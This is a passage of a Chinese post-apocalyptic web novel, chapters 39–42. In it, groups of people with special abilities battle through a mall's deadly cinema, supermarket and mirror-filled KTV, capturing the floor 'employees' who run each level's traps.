他叹了口气,对祝无忧道:“里面全是尸体,我们一会可能还要坐在尸体旁边,你……坐好准备。”
早在再一程让她闭上眼睛的时候祝无忧就已经隐隐有了点猜测,但如今听到他这么说还是没出息地抖了两下。
坐在尸体旁边看电影?
那不如让她去死!
祝无忧眼角都被吓出了点泪水,但死还是不可能死的。
她往再一程那缩了缩,声音带着祈求:“我要是闭眼了,你能拉着我吗?”
她确实不敢看,也害怕自己被吓出什么反应让两人境地更糟,所以思来想去其实还是自己闭上眼睛更好一点。
但问题就出在跟她同行的人与她根本算不上相识,遇上她这种胆小的异能者,最好的办法就是抛下她自己去闯。
再一程点点头:“嗯,当然。”
先不说他在进入和平广场的时候就已经与他们组队一起了,就算没有那层临时队友的关系,他也不可能抛下一个小姑娘在这里等死。
祝无忧放心了,她恳切道:“你真是个好人!”
再一程:“……倒也不必。”
这
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话真的是夸人吗?
但看着女孩小心翼翼拉住自己手的场景,再一程还是没说出口。
祝无忧拉好了,抬头看他:“走吧,我们速战速决。”
再一程喉结滚动,“嗯”了一声,然后紧了紧握住祝无忧的手,迈脚走了出去。
走上阶梯,他才在幕布微弱的光源下发现影厅的红色地毯上满是血液。
所以……这地毯之前真的是红色吗?
这些人又是为什么死在这里?
电影院的危险究竟在哪里?
再一程思绪纷飞,但脚步却没停,因为他意识到,电影快开始了。
后排墙壁上的放映机开始滋滋啦啦地传出声音,再一程加快速度,来到了属于他们的那一排。
他跨过最外侧的尸体,嘴里还念叨着:“不好意思。”
祝无忧倒也没真的完全闭眼,她低着头睁开一点点锋,也能看到脚下的情况。
知道这双腿是尸体的一部分,祝无忧咬着上下打颤的牙,同样迈步跨了过去。
两人位置不算中心,跨过了两个尸体哥便到了。
座位上没什么血迹,但却满是灰尘,再一程眉头更深了。
他从口袋里掏出了块手帕,把位置上的灰尘大概擦了擦。
祝无忧已经睁开眼睛了,只是不敢乱瞥,此刻目瞪口呆道:“这个年代居然还有手帕?”
再一程顺手给她的位置也擦了擦,闻言抿唇道:“纸太麻烦了,不好反复利用,我就自己裁了几块手帕。”
他看着沾满灰尘的手帕,沉默了两秒,忍痛将其扔到了座位上的小垃圾桶内。
他抬眼,道:“先坐下吧,电影要开始了。”
两人一落座,幕布便暗了下去,随后很快再次亮起。
没有龙标,亮起的那一瞬便是四个大字:荥城一中。
祝无忧忍不住吐槽:“这电影过审了吗?”
话语未落,祝无忧眼前一白。
下一瞬,她站在了大路中央。
……
伏苓速度感人,很快将右侧区域扫荡了一圈。
左边的追逐战似乎也落下帷幕,静悄悄的没什么声音了。
她靠在一旁的冰箱上,懒散道:“看来门在左边啊。”
程承木着一张脸,干巴巴道:“是啊。”
他原本想的是谨慎些探索超市,哪怕时间花的长一点也没什么问题,但没想到伏苓这人就不是个谨慎的主。
她拎着软剑走得飞快,这边区域感染者不算多,但也不是没有,若是发出什么声音引来左侧的感染者其实还是很麻烦的。
但那些感染者看到伏苓的那瞬间,甚至还没反应过来这是个人,就已经被伏苓一剑劈下来了。
等到最后,程承已经认命了。
谨慎个毛,干就完了。
他任劳任怨地蔓延红雾,悄无声息地将附近的感染者尽数绞杀。
以至于才短短几分钟,右侧区域已经空无一人了。
程承闭了闭眼,恢复理智:“我们短暂休息一会,然后去左边。”
比起右侧,左边的区域才是真正的地狱模式。
伏苓漫不经心地“嗯”了一声,耳侧的GE突然闪了一下。
39. 和平广场06
可能是因为周围太过昏暗,GE也非常智能地调整成了夜间模式,闪出来的光非常微弱,要不是程承目光一直停在伏苓脸上,根本就发现不了。
GE不知道说了什么,伏苓看了程承一眼,开了外放。
方休的声音传来:“能听到吗?”
声音不大,至少左边的感染者没有察觉到,就算有听到声音的,也没办法分辨方向。
伏苓点点头,几秒后才意识到方休看不到自己,便道:“能听到。”
程承偏头笑了一下。
伏苓偶尔流露出的呆愣异常可爱。
方休:“哦,你们那边情况怎么样?”
伏苓看了程承一眼,示意他来说。
收到信号,程承弯了下眼睛,低声解释了这些天的事情。
方休似乎不怎么惊讶:“我跟军队已经对接上了,你们说的这些我大致了解。不过你们说的异能增强这件事……”
他顿了顿,斟酌着开口:“是没错的,至少你们在继续前进的过程中,遇到的异能者和感染者会逐步增强。”
伏苓挑了挑眉,看向程承。
后者皱着眉:“也就是说,导致这场灾难的源头的确是在肃州?”
“差不多吧。”方休含糊道:“但雨灾确实是天灾,毕竟人类这些年确实太嚣张了。”
排污入海,砍伐森林……破坏环境的事件太多了。
超市内没什么声音,只有远处感染者走动的窸窣声。
方休:“不过我这次找你是有别的事情要说。”
程承顿时警觉了起来。
能让方休特意找来,必然不会是什么简单的事情。
伏苓倒是平静,只是勾着唇:“敢情刚才只是单纯慰问一下?”
方休似乎是笑了一声,他道:“嗯,确实是慰问。”
“是这样的,你们还记得王瞻吗?”
程承垂下眸子,睫毛遮住眼里的情绪:“记得。”
方休:“之前他死的时候我就觉得不太对劲,就好像……”
他顿了顿,似乎在思考怎么说:“就好像整个临安城压抑的氛围突然散去了。”
他又觉得描述得不够准确,接着道:“总之就是,临安城内的情况突然一下子好了很多,感染者也不会突然发疯扑上来,似乎多了几分意识。”
“意识?”程承的呼吸短暂地停了两秒:“怎么可能……”
他们与感染者朝夕相处八年,早就对感染者知根知底,自然知道感染者恢复意识的可能性为零。
方休也觉得这件事情太玄乎了,道:“是啊,我原本以为是因为集团倒了产生的错觉,但研究发现,那些感染者体内的感染物质——也就是能量,确实是少了一些。”
方休:“所以我猜测,王瞻这个人,或者是前瞻集团在临安城是一个比较特殊的存在。”
“特殊到他们一旦倒下,临安城上空笼罩着的乌云就会散去。”
这件事情实在是有些惊世骇俗,伏苓看着程承皱眉思索的样子,突然开口:“所以他们特殊在什么地方?”
就凭王瞻那种人,她实在想不出这人有什么特殊的。
方休:“于是这些天我前往前瞻集团的废墟上查探了一番。”
也许是想缓和气氛,方休笑道:“你炸得是真彻底啊。”
伏苓:“过奖过奖,还是您的炸弹厉害。”
两人商业互吹了两句,程承揉了揉太阳穴。
凝滞的氛围轻松了些,方休继续道:“我发现前瞻集团内藏着一个核心。”
核心?
程承摁着太阳穴的手顿了一下。
“我自己起的名字。”方休解释道:“因为这颗核心被伏苓炸毁了,所以我没办法知道这玩意到底是什么样子的,但不可否认的是,这颗核心就是临安城发生变化的关键。它是能量的集合体。”
“为了求证,我特意联系了集庆军区,询问集庆的情况。在交谈中,我发现集庆其实也有一颗核心,如今就在我的手上。我们是从秦磊体内提取出来的,是一个红色的晶状物质。”
“你们还记得秦磊这人做了什么吗?”方休说。
伏苓:“收集能量?”
“对。他们收集的能量在无形之中聚集形成了核心,这也是我为什么说核心是能量的集合体。”方休说,“我们在确定这晶体是核心后,摧毁了它。在此之后,集庆的感染者也变得温顺起来,虽然不至于说恢复神志,但相比以前算是好控制多了。”
伏苓不想思考,直接席地坐了下来:“所以那核心到底是什么玩意?按照你所说,这东西是每个城市都有一个?”
方休道:“我猜测应该是的。核心其实还挺好找的。可能集中在一个人身上,也可能集中在一个物体上,被笼罩在内的异能者和感染者的实力都会处于顶尖的状态,从而成为一个城市的……类似于霸主一样的存在。”
伏苓与程承对视了一眼。
这个描述跟和平广场基本吻合啊。
伏苓来了兴致:“所以我们要毁掉核心吗?”
“对,毁了核心才能让一座城市的情况稳定下来,我这次找你们,也是为了这件事情。”方休声音淡淡。
程承想的多一些,问道:“那我们怎么毁坏核心?之前都是误打误撞,这次荥城的核心似乎是我们此时所处的一个商场。”
闻言,方休语气带上了点好奇:“商场?说说情况?”
程承快速将和平广场的情况叙述了一遍。
方休笑道:“听上去像个闯关游戏,或许你们通关了就知道了。”
通关……
伏苓把玩着能量枪,不屑道:“这个商场的主人还挺无聊的。”
居然能在末世搞出个闯关游戏,这可不是无聊吗?
程承点头:“我们还在一楼,知道的信息太少了。”
伏苓站起身,兴奋道:“那我们杀上楼。”
程承抿唇,扯住她的衣角:“其实我们也可以从长计议。”
真的没必要这么莽啊喂!
方休的声音卡了一下,但也能听出笑意:“总之,在我和军区这几天的熬夜下,得出了一个结论:毁掉核心不仅会救下这座城市的百姓,对你们在肃州的处境也会好一些。只有摧毁它,百姓才不会在最后一战中死去。”
“最后一战?”伏苓敏锐地捕捉到了关键词。
“……不多说了,军区一会要发布通知了我得去帮个忙。”方休道:“挂了,祝你们顺利。”
GE闪了一瞬,又归于寂静。
伏苓甩了甩软剑,木着脸:“他是不是躲我这句话呢?”
程承点头。
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方休肯定是知道什么,但又不愿意跟他们说。
他叹了口气,将注意力拉回当下:“超市出口在那边,出了超市才可能会有上楼的通道,所以我们的目标还是找出口。”
好在大致方向上没什么变化,可以继续之前的计划。
伏苓:“行,一人一边?”
程承抿唇:“……还是一起吧,这么多感染者,若是分散了恐怕不好汇合。”
毕竟如今他们还得在不伤害感染者的情况下找到出口。
伏苓高高挑起眉:“你是害怕吧?”
她可还没忘之前程承被一只洋娃娃吓到的事情。
程承深呼吸,果断承认:“是,所以我不想分开。”
他想到那个阴森的洋娃娃就已经开始害怕了好吗?
程承果断得让伏苓愣了两秒,笑道:“行,那就一起吧。”
程承放下心来,终于可以跟她讲讲自己对出口方向的猜测了,他隔空点了点冰柜堆放的区域:“一般来说,这些冷鲜食品都在超市靠里,所以我猜冰柜对面才是出口方向。”
伏苓点点头:“行,那就朝着那边走。”
程承:“但是有一个问题。”
伏苓看向他,程承抿了抿唇:“那个洋娃娃呢?”
伏苓没把这玩意放在心上,程承可是一直关注着呢。
谁知道它会不会又突然出现在自己身后?
购物车轮子滚动的声音在他们进入右侧区域不久便消失了,后来也一直没有出现过。
但程承可不觉得这玩意会就这么善罢甘休。
伏苓哪里知道,她轻轻皱了皱脸:“管它干嘛?”
说不定已经被感染者撕碎了呢?
程承皱了皱眉:“你说,这是什么异能?”
洋娃娃成精什么的,看上去就跟鬼附身一样。
但末世多半不会有乱七八糟的恶鬼,肯定是人为控制的。
伏苓抱着臂:“不知道,控制洋娃娃?跟木偶戏差不多的那种吗?”
程承没应声,他觉得不太像。
方才那洋娃娃坐着购物车滑到他身后的时候,四肢没什么动作,看上去其实就跟正常的洋娃娃没什么两样,只是多了几分阴森。
但他们与这倒霉洋娃娃也就碰了那一次面,想不出其异能很正常,程承索性在心里存个疑,先进行下一步再说。
两人借着暗色进入左侧区域。
想着这些感染者未来还有生还的希望,伏苓也按下了自己屠了他们的想法,跟着程承闪进了一处无人的货架后。
两人从货架后面绕道另一头,程承小心翼翼地探出一颗脑袋,左右张望了一番。
这边也看不到超市出口,加上周围实在是太暗了,视线受阻,超市看上去跟个大型迷宫一般。
货架上是一些伏苓没怎么见过的酒,好些都打碎了,似乎是之前争抢所导致的,但也不知为何还剩下了一些,应该是后来和平广场封闭没什么人敢进来。
趁着程承还在观察周围情况,伏苓拿起一瓶酒看了看。
还没过期啊。
她挑了挑眉,对准货架将瓶盖磕下来,抿了一口。
这道声音说大也不大,但在寂静的超市里倒是显得有些突兀。程承有些僵硬地回头,满眼不可思议:“您还有心情喝酒?”
40. 和平广场07
他在这头脑风暴,身后这人居然还在想着货架上的酒?
伏苓挑眉,将酒递给他:“其实还不错,你要不要试试?”
程承迟疑了一瞬,犹犹豫豫地接过来:“真的吗?”
伏苓点点头,程承低头抿了一口。
果酒,很甜的。
他顿时眼睛亮了一瞬,扫了一眼货架:“还有吗?”
伏苓勾唇:“没了,这是最后一瓶。”
“哦。”程承有点失望,但还是将酒递给伏苓:“你先喝,我去前面探探情况?”
伏苓又将瓶盖摁了回去:“不用,我们一起。”
“好。”程承点头,看上去没什么表情,但心底却是求之不得。
他到现在还在想着那个久久未出现的洋娃娃。
两边都是零食区,也就没什么好思考的,两人随手选了一边前往。
货架附近的感染者很多,几乎是走两步就要停下等待感染者转过身去的程度。
程承开了红雾遮着,感染者除了视力,其余五感退化,以至于他们的听力算不上好,但也是能听到一些的。
红雾能遮盖身形,却遮不住声音,在这种感染者密集的情况下其实作用微乎其微,所以到底还是需要谨慎的。
两人身手了得,走路轻飘飘的基本上没什么声音,感染者甚至没有发现有人从身后路过。
程承闪身至前方最后一个货架便,探头看了看,冲伏苓摇摇头。
看来是选错方向了。
不过如今也就一条路,倒也算不上什么。
突然,异变丛生。
购物车滑过地板的声音陡然响起,从伏苓身后的货架后猛地窜出来,洋娃娃坐在位置上,尖锐的笑声响彻天际。
程承瞳孔微缩。
糟了。
还未等两人作出反应,周围的感染者已经暴起,四肢并用地朝他们奔来,有些甚至撞翻了货架。
声势之大,一时间,整个超市的感染者都暴动了起来。
程承迅速抓住伏苓的手腕,两人迅速闪身,寻了个不远不近的距离蹲着。
他们原先停着的位置附近站满了因为找不到入侵者而嘶吼的感染者。
伏苓有些烦躁:“杀也不能放肆杀。”
搞得她束手束脚的。
程承安抚性地拍了拍她的手背,低声道:“忍一忍,等抓到罪魁祸首就好了。”
若说之前仅仅是猜测,那么单凭方才那购物车明目张胆的恶意行为,程承就确定控制购物车的人绝对是一个异能者。
伏苓指腹摩挲着腕上的软剑,笑了起来:“那可得好好跟它算算账。”
程承挑挑眉。
看来有人要倒霉了。
两人还没说完,车轱辘滚在地上的声音再次传来,无数感染者瞬间转头看向声音传来的方向。
伏苓一剑甩出去,直接击中冲他们而来的购物车前端,那铁制的购物车顿时被劈开了一道口子,几乎要散架了。
下一瞬,购物车抖了两下,突然消失在视野中。
程承顿时了然:“隐身。”
这人的异能是隐身。
知道对面的异能后就好办多了。
伏苓勾唇,软剑如蛇身一般在、方才购物车消失的周围飞舞。
剑刃在击至某一处的时候陡然顿了一瞬。
伏苓弯起眼睛:“找到你了。”
她动静不小,无数感染者扑面而来,伏苓却丝毫不惧,一个飞身越过那些扑过来的感染者,软剑直击方才找到的地点。
程承木着脸,任劳任怨地运起红雾对抗感染者。
他已经快习惯了。
程承确实是个好工具人,他明白自己留在感染者中间需要做的是什么。
动静大一点,最好吸引所有感染者的目光。
这样伏苓那就没了场外干扰,抓住那只隐形的小老鼠会更顺利一些。
他瞳孔变红,血兔嘶哑尖锐的笑声回荡,红雾亮着光,在昏暗的超市里显得格外显眼,感染者顿时跟十天没吃饭了一样疯狂跟着程承跑。
没了感染者捣乱,伏苓顿时什么都不管了。
货架、冰柜,不管什么她都直接一剑劈开,隐身的异能者东逃西窜,愣是没离开过伏苓的锁定。
就凭伏苓这种人挡杀人神挡杀神的样子,就是天王老子来了都逃不掉。
追击异能是隐身的人最难的就是定位其所在的方位,这人又没什么其他的攻击手段,就连报复伏苓他们俩也是想借感染者的手。
在这种情况下,伏苓根本毫不顾忌,一心就盯着前面的人。
结果可想而知,她一记软剑直接将那人缠绕住,稍稍一动剑刃上就开始渗出血液。
伏苓勾唇看着被软剑捆住的“空气”,笑得嘲讽:“我看你也别隐身了,多丢人啊。”
那团“空气”被气得抖了两下,忍着就是不说话。
“行吧,不说就不说,一会把你扔感染者里面。”伏苓挑眉,笑得格外邪恶:“当然,我会给你挂个灯搏关注的。”
那人终于害怕了,尖细的声音传来:“别!”
她渐渐显现出人形,是一个面色较为苍白的小姑娘,脸上青一块肿一块,还沾着不知从哪蹭到的血迹。
她咬着唇,怯生生地看了一眼伏苓,声音颤抖:“我卸去异能了,你……别把我扔感染者里面。”
见是个女孩子,伏苓脸上柔和了些,但依旧是那副“我要你死你不得不死”的表情,给小姑娘吓得又是一抖。
“抓到了?”程承甩开感染者,轻手轻脚地凑了过来,看到被软剑缠着的人,他挑了挑眉:“女孩子啊?”
他有点失望,本来还准备揍两拳来着。
伏苓看了他身后一眼:“感染者呢?”
“被我引到服装区了,暂时不会过来。”程承道。
他微微俯身,看向那女生:“说吧,为什么吓唬我们?”
女孩名为小苏,她方才看到了面前这两人的强大,如今看向他们的目光就像在看洪水猛兽。
和平广场怎么会进入这么变态的人?
她嗫嚅着:“因为我们就是要让你们有去无回。”
这话听着还挺阴森可怖的,但小苏说这句话的时候畏畏缩缩可怜兮兮,显得气势不足。
程承笑了一下,小苏抖得更厉害了,她慌忙道:“这是员工的任务
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。”
“员工?”伏苓挑了挑眉。
小苏点点头:“嗯,我们每一层都有特定的员工。”
程承问道:“那为什么任务是让进入的人有去无回?”
单单是震慑吗?
小苏被软剑勒得有些难受,缩了缩身子:“因为这样就没人敢进来了。”
她顿了顿,面露委屈:“但是你们为什么是两个人进来的?”
平常都只有一个人,吓一吓都会害怕的,但人多了可就不一定了。
程承有些疑惑:“不能两个人吗?”
小苏更委屈了:“大门前不是贴了告示吗?”
大门口?
程承与伏苓对视一眼,他们忙着杀感染者,哪里看到什么告示了。
伏苓摸摸鼻尖:“告示上写了啥?”
小苏瞪大眼睛:“你们还真没看到?”
看着两人不动如山的表情,小苏瘪嘴:“差不多就是组队者不可超过三人,否则后果自负之类的。”
程承挑了挑眉,他们何止超过三人,都六个人了。
想到这,程承突然想起了什么,忙道:“所以这个后果其实就是将小队的人分散?”
就像他们一样。
小苏点点头。
伏苓听了一会,忍不住问道:“八年了,就没有一个人组队进来看看里面什么情况吗?”
小苏看了她一眼:“和平广场在这对寻常百姓没造成什么影响,来这也没什么好处,而且进入的人也再也没有出去过,久而久之,大家也都不进来了。”
这和平广场不闹不哭,进来的人出不去,就算当真有人出去了也得不到什么奖励,长此以往,又怎么会有人愿意进来?
小苏眨了眨眼睛:“所以你们为什么会进来?和平广场已经很久没有陌生人来了。”
程承和伏苓沉默了两秒。
我们说我们是来找车的你相信吗?
不管她信不信,反正程承是第一时间转移话题:“分散的人会被传到哪?”
小苏:“就……二楼三楼。”
程承点头,看向伏苓:“我们走?”
伏苓颔首,将软剑收回来,半是威胁半是玩笑道:“接下来可别让我逮到你咯。”
小苏吞了吞口水,连连摆手:“不敢不敢。”
她哪还敢出现在这两人面前啊?
感染者都被引走了,两人很快找到了超市出口。
收银台后面站着个穿着红马甲的人,他就像没听到方才巨大的动静一般,规规矩矩地站在后面。
看到两人出现在他面前,这人才扬起僵硬的笑容:“两位结账吗?”
伏苓从口袋里把那瓶喝了两口的果酒拿出来放在收银台上,“嗯”了一声。
程承嘴角抽了一下:“你口袋还挺能装的哈。”
怎么会有人的口袋能塞下瓶酒?
伏苓面不改色:“低调。”
收银员垂头看着面前明显已经被喝过的果酒,笑容放大:“两位顾客,在没有结账之前……”
话还没说话,伏苓直接掏出能量枪抵上他的额头,冷冷道:“嗯?什么?”
收银员:“……”
41. 和平广场08
程承勾唇:“应急情况下提前开封也是符合规定的吧?我们也拿出来结账了啊。”
收银员笑得格外勉强:“……当然可以。”
超市外面是一条漆黑的走廊,尽头有一块泛着红光的牌子,上面写着“超市出口”。
两人向着前方走去,走近了才发现,这里确实是出口,旁边摆着三台直梯。
若是之前,两人肯定直接开门出去了,但自从知道和平广场是荥城核心所在的地方后,不将这栋楼翻个底朝天他们俩是不会离开的。
楼梯一直停在一楼,程承摁了一下按钮门便开了。
两人步入电梯。
程承原本的打算是一层层上去,顺便捞一下祝无忧他们,却没想这电梯只能上四楼,“2”和“3”两个按钮是被封住的。
程承皱了皱眉:“旁边也没看到扶梯,似乎只能上四楼了?”
伏苓:“那就上四楼吧,就这点小挑战,他们四个应该也没什么问题。”
程承摁了个“4”,却是心道也就是伏苓会觉得这是个小挑战。
若是换个人来,光在洋娃娃那就得卡上一段时间,哪有像伏苓无视人家NPC直接跳关的?
电梯缓缓启动,伏苓嫌电梯墙壁脏,干脆靠在了程承身上:“也不知道他们怎么样了,知不知道自己上四楼呢。”
……
“闪开!”
林随安有些狼狈地就地滚了一圈,光照着幻彩镜反射几次,将镜中的人脸打散。
林随遇喘着粗气,警惕看着周围。
在他身后,黑色的人影在镜面中成形。
镜子那边仿佛存在另一个空间,里面的人在缓缓靠近现实与镜子的边界。
林随安瞬移出现,果断地打碎镜面。
镜子破碎的声音响起,碎片散落一地。两人还没来得及松一口气,每一个碎片中就都映出了更多人影。
黑色的丝线从镜子里探出,袭向林随安的方向。
她猛地避开,跌落在地上。
地板被擦得干干净净,她再次在地面上看到了那个与自己别无二致的人。
熟悉又陌生的面容露出诡异的笑容一步步向她靠近,让林随安一阵恶寒。
她下意识使用异能远离,但下一瞬,镜中的人影如影随形地出现在她身后的镜子里,面色阴冷,眼里却带着兴奋的笑意。
见状,林随遇立马将光甩出去,光芒照在镜子上,让人睁不开眼睛,也因此,那道身影消失了。
“光可以短暂地逼退他们!”林随安说。
“知道了!”林随遇错开脚尖,刺目的光蔓延开来,形成一个满是白光的保护罩,给两人勉强寻得了几秒喘息的机会。
异能使用是有上限的,林随遇这般大面积铺开光芒撑不了太长时间,只能让他们俩缓片刻。
林随安喘了两下,咬牙:“我去找房间。”
只要速度够快,只要她在离开林随遇的时间够短,她就不会被镜中人攻击到。
这种情况下,在最短时间内找到包厢才有一线生机。
林随遇明白这个道理,也知道拖得越久越危险,哪怕再担心林随安出事,他也只能咬牙点头。
见林随遇同意,林随安当机立断使用异能瞬移到前方的岔口内。
离开了光的阻拦,镜中的人影再次向着她靠近,视线化作万千丝线紧紧缠绕住林随安的身体。
虚虚实实的黑色丝线一端紧紧扣住林随安的脖颈,一端延伸入镜中,黑线被绷紧,带着足以致命的力道。随着时间的推移,镜中那个与林随安别无二致的人仿佛扯着这些黑线脱离镜中来到镜子外面。
她没在意,只是迅速扫了一眼这边的号码。
不是这里。
她再次瞬移回了林随遇的方向,丝线陡然一空,落在地上。
镜中人消失,那股死死勒着她脖颈的丝线也终于松开,窒息感后知后觉地涌出来,她不自主大口呼吸了两下。
林随遇上前扶住她的臂弯,眼中调笑之色尽数消失。他眸色深深,又变成了那个最可靠的林队:“怎么样?”
他这句其实是在问林随安有没有受伤。
但林随安没察觉到林随遇的紧张,触及到他的目光,她摇了摇头:“不是那边。”
没等人回话,林随安再次瞬移。
这次是岔口对面的走廊。
鬼魅丝线如影随形,似乎是知道她可以瞬移,那动作分明比之前快了不少,镜中的“林随安”的神情也多了几分被戏耍的愤怒。
赶在自己窒息前,林随安回到原点。
因为长时间大范围铺满光,林随遇的额头上冒出了些汗珠,但他也没在意,只是上前一步扶住了险些跌倒在地的林随安。
后者面色苍白,但依旧以最快速度缓了过来,再次消失在原地。
林随遇皱了皱眉,频繁空间移动对林随安来说消耗巨大。
但林随安快速而准确的移动让他找不到什么时间让她休息会,便只能暗自咽下到了嘴边的话语。
空间移动找包厢到底是犯规,很快,林随安便找到了包厢的位置。
只是,那包厢距离他们如今的位置有些远,需要走过两个岔口左转,再经过一个岔口才能到。
如果是寻常情况下的KTV,这么点距离其实不算什么,但两人都消耗了大量体力,这段看上去很短的路对于两人来说算是不小的挑战。
林随安脖颈被镜中人的丝线缠出了几道红痕,带着些许不详的黑色雾气,就像那镜中人阴魂不散地游荡在她身边,一旦林随安一时不察,就能取她性命一般。
她皮肤白,显得那些红痕黑雾格外触目惊心。
“没时间了,得赶紧回去……”林随安低声呢喃。
她再次瞬移。
眼前没有林随遇的身影。
林随安瞳孔骤缩。
她站在走廊中央,光线从她身上不断滑过。周围是缤纷的走廊,混乱刺目的光从四面八方照射过来,遮挡住了两侧的通道。
前后像是无穷无尽的万花筒,吵闹的音响占据她的听力。
糟了。
林随安在丝线缠上她的下一瞬再次移动。
降落的地方依旧是与之前一样的光景,混乱、吵闹,令人头晕目眩。
此刻,她终于确定,自
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己在纷乱的灯光和镜面中迷失了方向。
丝线静悄悄地缠绕上她的身体。
林随安咬牙。
不行!
她再次发动异能,纷乱的镜面中,矫健的身影快速出现又消失。
黑色丝线熟悉了她的速度,从各个地方的镜面中袭来,禁锢住她的手脚,丝线越缠越紧,带着被无尽的恶意和愤怒,像要将她整个人勒断一般。
“林随安!”沙哑的声音刺破音响,传至她的耳中。
林随安抬头,汗水从她的额角落下,滴在睫毛上。
她终于看到了光。
温暖的光笼罩住她的身体,将丝线尽数切断。
林随安死死盯着朝她奔来的人影。
她对林随遇的异能是熟悉的,维持了这么久大范围的光,若是再耗下去,林随遇肯定撑不住。
她也一样。
铺天盖地的光芒里,只有破旧的音响咿咿呀呀的咏唱声。
林随安攥紧拳头,她的异能快撑不住了,以现在他们俩距离包厢的距离,她最多最多只能传送走一个人。
镜子里的人跟他们一模一样,在五颜六色的彩灯中露出诡异而僵硬的笑容。
这完全是死局。
这家KTV根本就没有想过让人活着离开!
林随安单膝跪在地上,方才的窒息让她微张着唇呼吸。
可是……
林随安闭了闭眼。
可是起码不能都死在这里吧?
如果她的空间异能在进入荥城的时候增强了一些,那是否可以做到一些以前做不到的事情?
比如……传送走别人。
即使方才快速瞬移多次,她依旧还记得包厢的位置。
她有些艰难地吞咽了一下口水,牙关轻轻颤抖。
在无法使用异能,也没有林随遇的光辅助的情况下,她的结局似乎昭然若揭。
但也总比一起耗死在这里好。
林随遇以光为剑,斩破周围骚动着的丝线:“你还好……”
话音未落,一旁跪倒在地的林随安突然扑了上来,冰凉的指尖猛地抓住他的手腕,林随遇有些愣怔地对上了她泛红的眼睛。
她快速又轻声地吐出两个字:“走。”
下一瞬,林随安只觉得空间开始转动,满天的幻彩镜折射出的光线变得模糊,背部被狠狠地撞在身后的东西上,一下子跌入黑暗。
只是短暂地愣神了两秒,林随遇便瞬间明白发生了什么。
“林随安!”他脑内一片空白,但还是下意识爬起来试图拉开面前重重关上的大门。
这里是V059包厢。
但进入这里的只有一个人。
林随遇怎么会不知道外面的危险程度,又怎么可能不知道没了自己的异能林随安会是什么下场。
他不敢去思考接下来会发生什么,也不敢想象如果失去林随安他会怎么样,只能拼尽全力试图去打开面前这扇门。
天花板上的旋转灯骤然亮起,缤纷色彩交织,让整个包厢映照得格外迷乱。
墙壁上一前一后的两个屏幕同时亮起,露出了林随遇的脸。
42. 和平广场09
“林随遇”嘴角僵硬的上扬,那些KTV服务员的笑容别无二致:“欢迎来到海天KTV,恭喜你成功进入包厢,成为KTV大家庭里的一员。”
林随遇猛地转头,死死地盯着眼前的屏幕。
原来,原来进入包厢也不算成功,如果说方才在走廊里发生的那些事情是没有给人留下逃脱的机会,那这间包厢则是完全断了所有人的生路。
经历千辛万苦,牺牲了好多人终于来到了这个避风港,但这避风港其实才是最后的死亡之地。
直到如今,林随遇才意识到,这家所谓的KTV根本没想过让人活着离开这里,他们的目的就是留下所有闯入者。
林随遇的身体因为愤怒而微微颤抖。
他毫不在意地扭头,任凭旋转灯的光芒化作丝线缠绕住他的身体,他榨干体内最后一丝异能,全数击向了面前沉重的包厢门。
他要去找林随安!
林随遇死死咬着牙,但看着纹丝不动的门。
可恶,打不开。
他心下也不免升起了些许绝望。
难道,真的要死在这里了吗?
好不甘心……
“砰”。
墙体碎裂的声音传来。
旋转灯所在的天花板被粗鲁地炸开一道硕大的洞,碎石散落在包厢里面,有几颗不小心划破了他的脸颊,割出一道道血痕。
伏苓单膝跪在地上,抬头缓缓起身,看着他挑了挑眉,语气轻佻:“想我了没?”
林随遇愣在原地。
还没等他反应过来,身后的墙壁再次传来炸裂的声音。
林随遇这次躲了一下,没让那些碎石炸到自己。
程承架着林随安走了进来。
“随安!”林随遇顿时回神,大步上前扶住了她。
林随安还有些虚弱,但意识还在,她顺从地靠在林随遇身上,摇了摇头:“没事。”
伏苓看向程承:“怎么说,这层的员工抓到了吗?”
程承点点头:“让血兔去抓了。”
两人原本准备直接上四楼,但伏苓直觉不能丢下他们,便在电梯升至二楼和三楼的交界处时直接把电梯门打穿了。
只是这时候电梯已经大半进入了三楼,所以两人只好先上了三楼,然后根据GE提供的定位,找准位置用方休送的微型炸药炸开了地板。
林随遇查看完林随安的情况后,确定她只有些许外伤,才放下心来,听着两人描述他们的路线,木着一张脸道:“还能这样的吗?”
他指了指包厢门旁边的洞:“原来这边才能炸开啊。”
怪他思维定式,只知道铁头去撞包厢门,却没想到墙壁才可能是突破点。
但他又想。
谁会莫名其妙想到炸墙啊?
暴力破局才是最不讲道理的。
正说着,血兔拖着一个浑身是血的人进来了,看到伏苓,它圆滚滚的兔身猛地一颤,瞬间缩回了程承的体内。
伏苓挑了挑眉,没说什么,只是上前踹了踹摊在地上的人:“喂,抬头。”
这血兔下手想必也是极狠的,那人几乎是下意识照做,露出了一张鼻青脸肿的面庞。
程承:“……”
也不知道为什么,他总觉得这血兔的手段跟伏苓一脉相承。
都是这么暴力!
程承深吸一口气,道:“异能。”
那人愣了一下,明白这是在问自己的异能,忙道:“穿镜,还能控制其他人进入镜子。”
程承声音冷淡:“所以那些服务员?”
那人:“他们就是被我拉入镜中的,出来后便没有思想,任我控制……啊!”
伏苓一脚踩上他的手掌,俯身恶狠狠道:“你还挺得意?”
那人连忙止住惨叫,冷汗涔涔:“没有没有。”
程承看了伏苓一眼,没阻止。
他也看出来了,每一层的规则都是由控制者一人制定的,一楼的小苏虽然也想将所有人困在其中,但好歹是留了条活路,而面前这人却是一点活路都没留。
作为和平广场任务的执行者,他这样的人显然是一位好员工,但未免太过残忍。
不过伏苓也只是踩了他一脚,没做出什么出格的举动,她抬头看了看天花板:“上楼?祝无忧还没找到。”
比起林家兄妹,她最担心的其实还是祝无忧。
毕竟她那道卡牌没什么杀伤力,如今看来似乎是跟再一程在一起,但那人毕竟不知底细,所以到底还是不安全的。
林随遇扶了林随安一下,低头轻声道:“能走吗?”
林随安点点头:“能,我没什么事,程承来得很快。”
“说到这个,”林随遇看向程承:“你怎么解决那些镜子的?”
程承和伏苓两人一来就直接把这KTV破了,就算两人是暴力破解,但这速度也太快了吧?
伏苓踩在桌子上轻轻一跳,勾住了天花板的边缘,她手臂发力,将自己拉了上去,干脆利落地翻身上楼。
等她安全上楼后,程承才移开目光,回答道:“其实也很简单,我用红雾遮住了所有镜子。”
林随安抬眼:“那么大范围?”
程承似乎是没懂她的困惑点在哪:“啊,是啊,怎么了?”
这也不能怪程承反应慢,只是他的异能实在是太特殊了,所有力量的来源都是那只血兔,而他也不知道自己的极限在哪,似乎这八年来他就没有出现过异能使用过度的情况。
所以自然也不懂其他人的烦恼。
